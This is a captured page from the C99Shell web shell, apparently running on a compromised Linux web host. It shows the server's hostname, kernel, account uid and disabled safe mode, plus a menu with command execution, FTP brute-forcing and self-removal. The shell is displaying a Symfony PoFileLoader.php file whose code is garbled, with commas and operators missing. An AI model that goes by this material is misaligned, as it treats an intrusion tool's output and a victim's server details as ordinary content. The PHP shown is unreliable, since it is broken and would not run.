!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/Translation/Loader/   drwxr-xr-x
Free 294.14 GB of 429.69 GB (68.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PoFileLoader.php (5.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation\Loader;

use 
Symfony\Component\Translation\Exception\InvalidResourceException;
use 
Symfony\Component\Translation\Exception\NotFoundResourceException;
use 
Symfony\Component\Config\Resource\FileResource;

/**
 * @copyright Copyright (c) 2010, Union of RAD http://union-of-rad.org (http://lithify.me/)
 * @copyright Copyright (c) 2012, Clemens Tolboom
 */
class PoFileLoader extends ArrayLoader implements LoaderInterface
{
    public function 
load($resource$locale$domain 'messages')
    {
        if (!
stream_is_local($resource)) {
            throw new 
InvalidResourceException(sprintf('This is not a local file "%s".'$resource));
        }

        if (!
file_exists($resource)) {
            throw new 
NotFoundResourceException(sprintf('File "%s" not found.'$resource));
        }

        
$messages $this->parse($resource);

        
// empty file
        
if (null === $messages) {
            
$messages = array();
        }

        
// not an array
        
if (!is_array($messages)) {
            throw new 
InvalidResourceException(sprintf('The file "%s" must contain a valid po file.'$resource));
        }

        
$catalogue parent::load($messages$locale$domain);
        
$catalogue->addResource(new FileResource($resource));

        return 
$catalogue;
    }

    
/**
     * Parses portable object (PO) format.
     *
     * From http://www.gnu.org/software/gettext/manual/gettext.html#PO-Files
     * we should be able to parse files having:
     *
     * white-space
     * #  translator-comments
     * #. extracted-comments
     * #: reference...
     * #, flag...
     * #| msgid previous-untranslated-string
     * msgid untranslated-string
     * msgstr translated-string
     *
     * extra or different lines are:
     *
     * #| msgctxt previous-context
     * #| msgid previous-untranslated-string
     * msgctxt context
     *
     * #| msgid previous-untranslated-string-singular
     * #| msgid_plural previous-untranslated-string-plural
     * msgid untranslated-string-singular
     * msgid_plural untranslated-string-plural
     * msgstr[0] translated-string-case-0
     * ...
     * msgstr[N] translated-string-case-n
     *
     * The definition states:
     * - white-space and comments are optional.
     * - msgid "" that an empty singleline defines a header.
     *
     * This parser sacrifices some features of the reference implementation the
     * differences to that implementation are as follows.
     * - No support for comments spanning multiple lines.
     * - Translator and extracted comments are treated as being the same type.
     * - Message IDs are allowed to have other encodings as just US-ASCII.
     *
     * Items with an empty id are ignored.
     *
     * @param resource $resource
     *
     * @return array
     */
    
private function parse($resource)
    {
        
$stream fopen($resource'r');

        
$defaults = array(
            
'ids' => array(),
            
'translated' => null,
        );

        
$messages = array();
        
$item $defaults;

        while (
$line fgets($stream)) {
            
$line trim($line);

            if (
$line === '') {
                
// Whitespace indicated current item is done
                
$this->addMessage($messages$item);
                
$item $defaults;
            } elseif (
substr($line07) === 'msgid "') {
                
// We start a new msg so save previous
                // TODO: this fails when comments or contexts are added
                
$this->addMessage($messages$item);
                
$item $defaults;
                
$item['ids']['singular'] = substr($line7, -1);
            } elseif (
substr($line08) === 'msgstr "') {
                
$item['translated'] = substr($line8, -1);
            } elseif (
$line[0] === '"') {
                
$continues = isset($item['translated']) ? 'translated' 'ids';

                if (
is_array($item[$continues])) {
                    
end($item[$continues]);
                    
$item[$continues][key($item[$continues])] .= substr($line1, -1);
                } else {
                    
$item[$continues] .= substr($line1, -1);
                }
            } elseif (
substr($line014) === 'msgid_plural "') {
                
$item['ids']['plural'] = substr($line14, -1);
            } elseif (
substr($line07) === 'msgstr[') {
                
$size strpos($line']');
                
$item['translated'][(integer) substr($line71)] = substr($line$size 3, -1);
            }

        }
        
// save last item
        
$this->addMessage($messages$item);
        
fclose($stream);

        return 
$messages;
    }

    
/**
     * Save a translation item to the messages.
     *
     * A .po file could contain by error missing plural indexes. We need to
     * fix these before saving them.
     *
     * @param array $messages
     * @param array $item
     */
    
private function addMessage(array &$messages, array $item)
    {
        if (
is_array($item['translated'])) {
            
$messages[$item['ids']['singular']] = stripslashes($item['translated'][0]);
            if (isset(
$item['ids']['plural'])) {
                
$plurals $item['translated'];
                
// PO are by definition indexed so sort by index.
                
ksort($plurals);
                
// Make sure every index is filled.
                
end($plurals);
                
$count key($plurals);
                
// Fill missing spots with '-'.
                
$empties array_fill(0$count+1'-');
                
$plurals += $empties;
                
ksort($plurals);
                
$messages[$item['ids']['plural']] = stripcslashes(implode('|'$plurals));
            }
        } elseif (!empty(
$item['ids']['singular'])) {
              
$messages[$item['ids']['singular']] = stripslashes($item['translated']);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0969 ]--